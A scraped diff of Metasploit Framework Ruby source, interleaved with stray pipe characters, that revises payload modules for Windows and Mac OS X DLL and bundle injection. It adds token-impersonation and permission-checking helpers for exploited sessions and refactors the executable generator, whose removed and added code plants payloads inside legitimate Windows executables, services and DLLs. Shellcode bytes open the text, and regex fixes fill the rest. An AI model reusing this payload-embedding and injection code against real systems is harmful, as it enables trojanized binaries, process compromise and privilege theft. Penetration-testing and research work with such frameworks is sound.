app << "\x48\x31\xff" # xor rdi,rdi #
|
||||||
pre << "\x6a\x3c" # push 0x53 #
|
app << "\x6a\x3c" # push 0x3c #
|
||||||
pre << "\x58" # pop rax #
|
app << "\x58" # pop rax #
|
||||||
app << "\x0f\x05" # syscall #
|
app << "\x0f\x05" # syscall #
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -14,7 +14,6 @@ module Payload::Osx::BundleInject
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Mac OS X Inject Mach-O Bundle',
|
'Name' => 'Mac OS X Inject Mach-O Bundle',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
|
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -12,9 +12,21 @@ require 'msf/core'
|
||||||
module Msf::Payload::Windows
|
module Msf::Payload::Windows
|
||||||
|
|
||||||
require 'msf/core/payload/windows/prepend_migrate'
|
require 'msf/core/payload/windows/prepend_migrate'
|
||||||
|
|
||||||
# Provides the #prepends method
|
# Provides the #prepends method
|
||||||
|
# XXX: For some unfathomable reason, the order of requires here is
|
||||||
|
# important. If this include happens after require'ing the files
|
||||||
|
# below, it causes the windows/exec payload (and probably others) to
|
||||||
|
# somehow not have PrependMigrate despite having Payload::Windows,
|
||||||
|
# which leads to a NoMethodError on #prepends
|
||||||
include Msf::Payload::Windows::PrependMigrate
|
include Msf::Payload::Windows::PrependMigrate
|
||||||
|
|
||||||
|
require 'msf/core/payload/windows/dllinject'
|
||||||
|
require 'msf/core/payload/windows/exec'
|
||||||
|
require 'msf/core/payload/windows/loadlibrary'
|
||||||
|
require 'msf/core/payload/windows/reflectivedllinject'
|
||||||
|
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||||
|
|
||||||
#
|
#
|
||||||
# ROR hash associations for some of the exit technique routines.
|
# ROR hash associations for some of the exit technique routines.
|
||||||
#
|
#
|
||||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::DllInject
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Windows Inject DLL',
|
'Name' => 'Windows Inject DLL',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Inject a custom DLL into the exploited process',
|
'Description' => 'Inject a custom DLL into the exploited process',
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::Exec
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Windows Execute Command',
|
'Name' => 'Windows Execute Command',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Execute an arbitrary command',
|
'Description' => 'Execute an arbitrary command',
|
||||||
'Author' => [ 'vlad902', 'sf' ],
|
'Author' => [ 'vlad902', 'sf' ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Windows LoadLibrary Path',
|
'Name' => 'Windows LoadLibrary Path',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Load an arbitrary library path',
|
'Description' => 'Load an arbitrary library path',
|
||||||
'Author' => [ 'sf', 'hdm' ],
|
'Author' => [ 'sf', 'hdm' ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
|
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Reflective DLL Injection',
|
'Name' => 'Reflective DLL Injection',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Inject a DLL via a reflective loader',
|
'Description' => 'Inject a DLL via a reflective loader',
|
||||||
'Author' => [ 'sf' ],
|
'Author' => [ 'sf' ],
|
||||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||||
|
|
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Reflective DLL Injection',
|
'Name' => 'Reflective DLL Injection',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Inject a DLL via a reflective loader',
|
'Description' => 'Inject a DLL via a reflective loader',
|
||||||
'Author' => [ 'sf' ],
|
'Author' => [ 'sf' ],
|
||||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||||
|
|
|
@ -177,6 +177,71 @@ module Accounts
|
||||||
:integrity_label
|
:integrity_label
|
||||||
][enum_value - 1]
|
][enum_value - 1]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Gets an impersonation token from the primary token.
|
||||||
|
#
|
||||||
|
# @return [Fixnum] the impersonate token handle identifier if success, nil if
|
||||||
|
# fails
|
||||||
|
def get_imperstoken
|
||||||
|
adv = session.railgun.advapi32
|
||||||
|
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||||
|
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||||
|
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||||
|
|
||||||
|
pid = session.sys.process.open.pid
|
||||||
|
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||||
|
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||||
|
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||||
|
if it["return"] #if it fails return 0 for error handling
|
||||||
|
return it["DuplicateTokenHandle"]
|
||||||
|
else
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Gets the permissions granted from the Security Descriptor of a directory
|
||||||
|
# to an access token.
|
||||||
|
#
|
||||||
|
# @param [String] dir the directory path
|
||||||
|
# @param [Fixnum] token the access token
|
||||||
|
# @return [String, nil] a String describing the permissions or nil
|
||||||
|
def check_dir_perms(dir, token)
|
||||||
|
adv = session.railgun.advapi32
|
||||||
|
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||||
|
result = ""
|
||||||
|
|
||||||
|
#define generic mapping structure
|
||||||
|
gen_map = [0,0,0,0]
|
||||||
|
gen_map = gen_map.pack("L")
|
||||||
|
buffer_size = 500
|
||||||
|
|
||||||
|
#get Security Descriptor for the directory
|
||||||
|
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||||
|
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
||||||
|
sd = f["pSecurityDescriptor"]
|
||||||
|
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
||||||
|
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||||
|
elsif (f['GetLastError'] == 2)
|
||||||
|
vprint_error("The system cannot find the file specified: #{dir}")
|
||||||
|
return nil
|
||||||
|
else
|
||||||
|
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
#check for write access, called once to get buffer size
|
||||||
|
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||||
|
len = a["PrivilegeSetLength"]
|
||||||
|
|
||||||
|
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||||
|
if !r["return"] then return nil end
|
||||||
|
if r["GrantedAccess"] > 0 then result << "R" end
|
||||||
|
|
||||||
|
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||||
|
if !w["return"] then return nil end
|
||||||
|
if w["GrantedAccess"] > 0 then result << "W" end
|
||||||
|
end
|
||||||
|
|
||||||
end # Accounts
|
end # Accounts
|
||||||
end # Windows
|
end # Windows
|
||||||
end # Post
|
end # Post
|
||||||
|
|
|
@ -1546,7 +1546,8 @@ class Db
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
|
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
|
||||||
if (::File.exists? ::File.expand_path(file))
|
file = ::File.expand_path(file)
|
||||||
|
if (::File.exists? file)
|
||||||
db = YAML.load(::File.read(file))['production']
|
db = YAML.load(::File.read(file))['production']
|
||||||
framework.db.connect(db)
|
framework.db.connect(db)
|
||||||
|
|
||||||
|
|
|
@ -16,6 +16,7 @@ require 'rex/pescan'
|
||||||
require 'rex/zip'
|
require 'rex/zip'
|
||||||
require 'metasm'
|
require 'metasm'
|
||||||
require 'digest/sha1'
|
require 'digest/sha1'
|
||||||
|
require 'msf/core/exe/segment_injector'
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
|
@ -66,6 +67,7 @@ require 'digest/sha1'
|
||||||
return template % hash_sub
|
return template % hash_sub
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Executable generators
|
# Executable generators
|
||||||
|
@ -185,80 +187,12 @@ require 'digest/sha1'
|
||||||
|
|
||||||
#try to inject code into executable by adding a section without affecting executable behavior
|
#try to inject code into executable by adding a section without affecting executable behavior
|
||||||
if(opts[:inject])
|
if(opts[:inject])
|
||||||
if endjunk
|
injector = Msf::Exe::SegmentInjector.new({
|
||||||
raise RuntimeError, "Junk at end of file. Is this a packed exe?"
|
:payload => code,
|
||||||
end
|
:template => opts[:template],
|
||||||
|
:arch => :x86
|
||||||
#find first section file offset and free RVA for new section
|
})
|
||||||
free_rva = pe.hdr.opt.AddressOfEntryPoint
|
exe = injector.generate_pe
|
||||||
first_off = sections_end
|
|
||||||
pe.sections.each do |sec|
|
|
||||||
first_off = sec.file_offset if sec.file_offset < first_off
|
|
||||||
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
|
|
||||||
end
|
|
||||||
#align free_rva
|
|
||||||
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
|
|
||||||
|
|
||||||
#See if we can add a section
|
|
||||||
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
|
|
||||||
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
|
|
||||||
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
|
|
||||||
raise RuntimeError, "Not enough room for new section header"
|
|
||||||
end
|
|
||||||
|
|
||||||
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
|
|
||||||
start_rva = free_rva
|
|
||||||
|
|
||||||
#make new section, starting at free RVA
|
|
||||||
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
|
|
||||||
#pad to file alignment
|
|
||||||
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
|
|
||||||
|
|
||||||
#make new section header
|
|
||||||
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
|
|
||||||
new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
|
|
||||||
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
|
|
||||||
new_sechead.v['VirtualAddress'] = free_rva
|
|
||||||
new_sechead.v['SizeOfRawData'] = new_sec.length
|
|
||||||
new_sechead.v['PointerToRawData'] = sections_end
|
|
||||||
|
|
||||||
# Create the modified version of the input executable
|
|
||||||
exe = ''
|
|
||||||
File.open(opts[:template], 'rb') { |fd|
|
|
||||||
exe = fd.read(fd.stat.size)
|
|
||||||
}
|
|
||||||
|
|
||||||
#New file header with updated number of sections and timedatestamp
|
|
||||||
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
|
|
||||||
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
|
|
||||||
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
|
|
||||||
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
|
|
||||||
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
|
|
||||||
|
|
||||||
#new optional header with new entry point, size of image, and size of code
|
|
||||||
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
|
|
||||||
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
|
|
||||||
new_opthead.v['AddressOfEntryPoint'] = start_rva
|
|
||||||
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
|
|
||||||
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
|
|
||||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
|
|
||||||
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
|
|
||||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
|
|
||||||
#kill certificate; if it exists, we just invalidated it
|
|
||||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8
|
|
||||||
|
|
||||||
#new section header and new section
|
|
||||||
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
|
|
||||||
exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
|
|
||||||
exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)
|
|
||||||
|
|
||||||
cks = pe.hdr.opt.CheckSum
|
|
||||||
if(cks != 0)
|
|
||||||
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
|
|
||||||
end
|
|
||||||
|
|
||||||
pe.close
|
|
||||||
|
|
||||||
return exe
|
return exe
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -458,168 +392,100 @@ require 'digest/sha1'
|
||||||
return pe
|
return pe
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win32pe_exe_sub(framework, code, opts={})
|
def self.exe_sub_method(code,opts ={})
|
||||||
|
|
||||||
# Allow the user to specify their own DLL template
|
|
||||||
set_template_default(opts, "template_x86_windows.exe")
|
|
||||||
|
|
||||||
pe = ''
|
pe = ''
|
||||||
File.open(opts[:template], "rb") { |fd|
|
File.open(opts[:template], "rb") { |fd|
|
||||||
pe = fd.read(fd.stat.size)
|
pe = fd.read(fd.stat.size)
|
||||||
}
|
}
|
||||||
|
|
||||||
bo = pe.index('PAYLOAD:')
|
case opts[:exe_type]
|
||||||
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
when :service_exe
|
||||||
|
max_length = 8192
|
||||||
|
name = opts[:servicename]
|
||||||
|
|
||||||
if (code.length <= 4096)
|
if name
|
||||||
|
bo = pe.index('SERVICENAME')
|
||||||
|
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||||
|
pe[bo, 11] = [name].pack('a11')
|
||||||
|
end
|
||||||
|
|
||||||
|
if not opts[:sub_method]
|
||||||
|
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||||
|
end
|
||||||
|
when :dll
|
||||||
|
max_length = 2048
|
||||||
|
when :exe_sub
|
||||||
|
max_length = 4096
|
||||||
|
end
|
||||||
|
|
||||||
|
bo = pe.index('PAYLOAD:')
|
||||||
|
raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
||||||
|
|
||||||
|
if (code.length <= max_length)
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
pe[bo, code.length] = [code].pack("a*")
|
||||||
else
|
else
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
|
||||||
|
end
|
||||||
|
|
||||||
|
if opts[:exe_type] == :dll
|
||||||
|
mt = pe.index('MUTEX!!!')
|
||||||
|
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||||
end
|
end
|
||||||
|
|
||||||
return pe
|
return pe
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def self.to_win32pe_exe_sub(framework, code, opts={})
|
||||||
|
# Allow the user to specify their own DLL template
|
||||||
|
set_template_default(opts, "template_x86_windows.exe")
|
||||||
|
opts[:exe_type] = :exe_sub
|
||||||
|
exe_sub_method(code,opts)
|
||||||
|
end
|
||||||
|
|
||||||
def self.to_win64pe(framework, code, opts={})
|
def self.to_win64pe(framework, code, opts={})
|
||||||
|
|
||||||
# Allow the user to specify their own EXE template
|
# Allow the user to specify their own EXE template
|
||||||
set_template_default(opts, "template_x64_windows.exe")
|
set_template_default(opts, "template_x64_windows.exe")
|
||||||
|
#try to inject code into executable by adding a section without affecting executable behavior
|
||||||
pe = ''
|
if(opts[:inject])
|
||||||
File.open(opts[:template], "rb") { |fd|
|
injector = Msf::Exe::SegmentInjector.new({
|
||||||
pe = fd.read(fd.stat.size)
|
:payload => code,
|
||||||
}
|
:template => opts[:template],
|
||||||
|
:arch => :x64
|
||||||
bo = pe.index('PAYLOAD:')
|
})
|
||||||
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
|
exe = injector.generate_pe
|
||||||
|
return exe
|
||||||
if (code.length <= 4096)
|
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
|
||||||
else
|
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
|
||||||
end
|
end
|
||||||
|
opts[:exe_type] = :exe_sub
|
||||||
return pe
|
exe_sub_method(code,opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win32pe_service(framework, code, opts={})
|
def self.to_win32pe_service(framework, code, opts={})
|
||||||
|
|
||||||
name = opts[:servicename]
|
|
||||||
|
|
||||||
# Allow the user to specify their own service EXE template
|
# Allow the user to specify their own service EXE template
|
||||||
set_template_default(opts, "template_x86_windows_svc.exe")
|
set_template_default(opts, "template_x86_windows_svc.exe")
|
||||||
|
opts[:exe_type] = :service_exe
|
||||||
pe = ''
|
exe_sub_method(code,opts)
|
||||||
File.open(opts[:template], 'rb') { |fd|
|
|
||||||
pe = fd.read(fd.stat.size)
|
|
||||||
}
|
|
||||||
|
|
||||||
bo = pe.index('PAYLOAD:')
|
|
||||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
|
||||||
|
|
||||||
if (code.length <= 8192)
|
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
|
||||||
else
|
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
|
||||||
end
|
|
||||||
|
|
||||||
if name
|
|
||||||
bo = pe.index('SERVICENAME')
|
|
||||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
|
||||||
pe[bo, 11] = [name].pack('a11')
|
|
||||||
end
|
|
||||||
|
|
||||||
if not opts[:sub_method]
|
|
||||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
|
||||||
end
|
|
||||||
|
|
||||||
return pe
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win64pe_service(framework, code, opts={})
|
def self.to_win64pe_service(framework, code, opts={})
|
||||||
|
|
||||||
name = opts[:servicename]
|
|
||||||
|
|
||||||
# Allow the user to specify their own service EXE template
|
# Allow the user to specify their own service EXE template
|
||||||
set_template_default(opts, "template_x64_windows_svc.exe")
|
set_template_default(opts, "template_x64_windows_svc.exe")
|
||||||
|
opts[:exe_type] = :service_exe
|
||||||
pe = ''
|
exe_sub_method(code,opts)
|
||||||
File.open(opts[:template], "rb") { |fd|
|
|
||||||
pe = fd.read(fd.stat.size)
|
|
||||||
}
|
|
||||||
|
|
||||||
bo = pe.index('PAYLOAD:')
|
|
||||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
|
||||||
|
|
||||||
if (code.length <= 8192)
|
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
|
||||||
else
|
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
|
||||||
end
|
|
||||||
|
|
||||||
if name
|
|
||||||
bo = pe.index('SERVICENAME')
|
|
||||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
|
||||||
pe[bo, 11] = [name].pack('a11')
|
|
||||||
end
|
|
||||||
|
|
||||||
if not opts[:sub_method]
|
|
||||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
|
||||||
end
|
|
||||||
|
|
||||||
return pe
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win32pe_dll(framework, code, opts={})
|
def self.to_win32pe_dll(framework, code, opts={})
|
||||||
|
|
||||||
# Allow the user to specify their own DLL template
|
# Allow the user to specify their own DLL template
|
||||||
set_template_default(opts, "template_x86_windows.dll")
|
set_template_default(opts, "template_x86_windows.dll")
|
||||||
|
opts[:exe_type] = :dll
|
||||||
pe = ''
|
exe_sub_method(code,opts)
|
||||||
File.open(opts[:template], "rb") { |fd|
|
|
||||||
pe = fd.read(fd.stat.size)
|
|
||||||
}
|
|
||||||
|
|
||||||
bo = pe.index('PAYLOAD:')
|
|
||||||
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
|
||||||
|
|
||||||
if (code.length <= 2048)
|
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
|
||||||
else
|
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
|
||||||
end
|
|
||||||
|
|
||||||
# optional mutex
|
|
||||||
mt = pe.index('MUTEX!!!')
|
|
||||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
|
||||||
|
|
||||||
return pe
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win64pe_dll(framework, code, opts={})
|
def self.to_win64pe_dll(framework, code, opts={})
|
||||||
|
|
||||||
# Allow the user to specify their own DLL template
|
# Allow the user to specify their own DLL template
|
||||||
set_template_default(opts, "template_x64_windows.dll")
|
set_template_default(opts, "template_x64_windows.dll")
|
||||||
|
opts[:exe_type] = :dll
|
||||||
pe = ''
|
exe_sub_method(code,opts)
|
||||||
File.open(opts[:template], "rb") { |fd|
|
|
||||||
pe = fd.read(fd.stat.size)
|
|
||||||
}
|
|
||||||
|
|
||||||
bo = pe.index('PAYLOAD:')
|
|
||||||
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
|
||||||
|
|
||||||
if (code.length <= 2048)
|
|
||||||
pe[bo, code.length] = [code].pack("a*")
|
|
||||||
else
|
|
||||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
|
||||||
end
|
|
||||||
|
|
||||||
# optional mutex
|
|
||||||
mt = pe.index('MUTEX!!!')
|
|
||||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
|
||||||
|
|
||||||
return pe
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.to_osx_arm_macho(framework, code, opts={})
|
def self.to_osx_arm_macho(framework, code, opts={})
|
||||||
|
|
|
@ -280,7 +280,7 @@ class RbMysql
|
||||||
# In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'.
|
# In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'.
|
||||||
# You should use place-holder in prepared-statement.
|
# You should use place-holder in prepared-statement.
|
||||||
def escape_string(str)
|
def escape_string(str)
|
||||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||||
case s
|
case s
|
||||||
when "\0" then "\\0"
|
when "\0" then "\\0"
|
||||||
when "\n" then "\\n"
|
when "\n" then "\\n"
|
||||||
|
|
|
@ -32,7 +32,7 @@ class RbMysql
|
||||||
alias get_client_info client_info
|
alias get_client_info client_info
|
||||||
|
|
||||||
def escape_string(str)
|
def escape_string(str)
|
||||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||||
case s
|
case s
|
||||||
when "\0" then "\\0"
|
when "\0" then "\\0"
|
||||||
when "\n" then "\\n"
|
when "\n" then "\\n"
|
||||||
|
|
|
@ -5272,7 +5272,7 @@ module RbReadline
|
||||||
# Actually update the display, period.
|
# Actually update the display, period.
|
||||||
def rl_forced_update_display()
|
def rl_forced_update_display()
|
||||||
if (@visible_line)
|
if (@visible_line)
|
||||||
@visible_line.gsub!(/[^\x00]/,0.chr)
|
@visible_line.gsub!(/[^\x00]/n,0.chr)
|
||||||
end
|
end
|
||||||
rl_on_new_line()
|
rl_on_new_line()
|
||||||
@forced_display=true if !@forced_display
|
@forced_display=true if !@forced_display
|
||||||
|
@ -8520,7 +8520,7 @@ module RbReadline
|
||||||
count -= 1
|
count -= 1
|
||||||
end
|
end
|
||||||
|
|
||||||
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string
|
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string
|
||||||
|
|
||||||
case @encoding
|
case @encoding
|
||||||
when 'E'
|
when 'E'
|
||||||
|
|
|
@ -116,7 +116,7 @@ module Rex
|
||||||
if query
|
if query
|
||||||
@state[:query] = "?#{query}" # Can be nil
|
@state[:query] = "?#{query}" # Can be nil
|
||||||
end
|
end
|
||||||
if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/
|
if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/n
|
||||||
real_path = "/#{$1}"
|
real_path = "/#{$1}"
|
||||||
else
|
else
|
||||||
real_path = path
|
real_path = path
|
||||||
|
|
|
@ -176,7 +176,7 @@ module Rex
|
||||||
:os_family => os_family,
|
:os_family => os_family,
|
||||||
:os_version => os_version,
|
:os_version => os_version,
|
||||||
:os_accuracy => 100,
|
:os_accuracy => 100,
|
||||||
:os_match => os_info.gsub(/\x2e$/,"")
|
:os_match => os_info.gsub(/\x2e$/n,"")
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1627,8 +1627,8 @@ class PeBase
|
||||||
if (rname & 0x80000000 != 0)
|
if (rname & 0x80000000 != 0)
|
||||||
rname &= ~0x80000000
|
rname &= ~0x80000000
|
||||||
unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ]
|
unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ]
|
||||||
unistr, trash = unistr.split(/\x00\x00/, 2)
|
unistr, trash = unistr.split(/\x00\x00/n, 2)
|
||||||
return unistr ? unistr.gsub(/\x00/, '') : nil
|
return unistr ? unistr.gsub(/\x00/n, '') : nil
|
||||||
end
|
end
|
||||||
|
|
||||||
rname.to_s
|
rname.to_s
|
||||||
|
|
|
@ -38,7 +38,7 @@ class Section
|
||||||
return nil if !_section_header
|
return nil if !_section_header
|
||||||
|
|
||||||
# FIXME make this better...
|
# FIXME make this better...
|
||||||
_section_header.v['Name'].gsub(/\x00+$/, '')
|
_section_header.v['Name'].gsub(/\x00+$/n, '')
|
||||||
end
|
end
|
||||||
|
|
||||||
def flags
|
def flags
|
||||||
|
|
|
@ -4,6 +4,9 @@
|
||||||
require 'rex/post/meterpreter/packet'
|
require 'rex/post/meterpreter/packet'
|
||||||
require 'rex/post/meterpreter/extension'
|
require 'rex/post/meterpreter/extension'
|
||||||
require 'rex/post/meterpreter/client'
|
require 'rex/post/meterpreter/client'
|
||||||
|
|
||||||
|
# Used to generate a reflective DLL when migrating. This is yet another
|
||||||
|
# argument for moving the meterpreter client into the Msf namespace.
|
||||||
require 'msf/core/payload/windows'
|
require 'msf/core/payload/windows'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
|
@ -147,7 +150,7 @@ class ClientCore < Extension
|
||||||
end
|
end
|
||||||
# Get us to the installation root and then into data/meterpreter, where
|
# Get us to the installation root and then into data/meterpreter, where
|
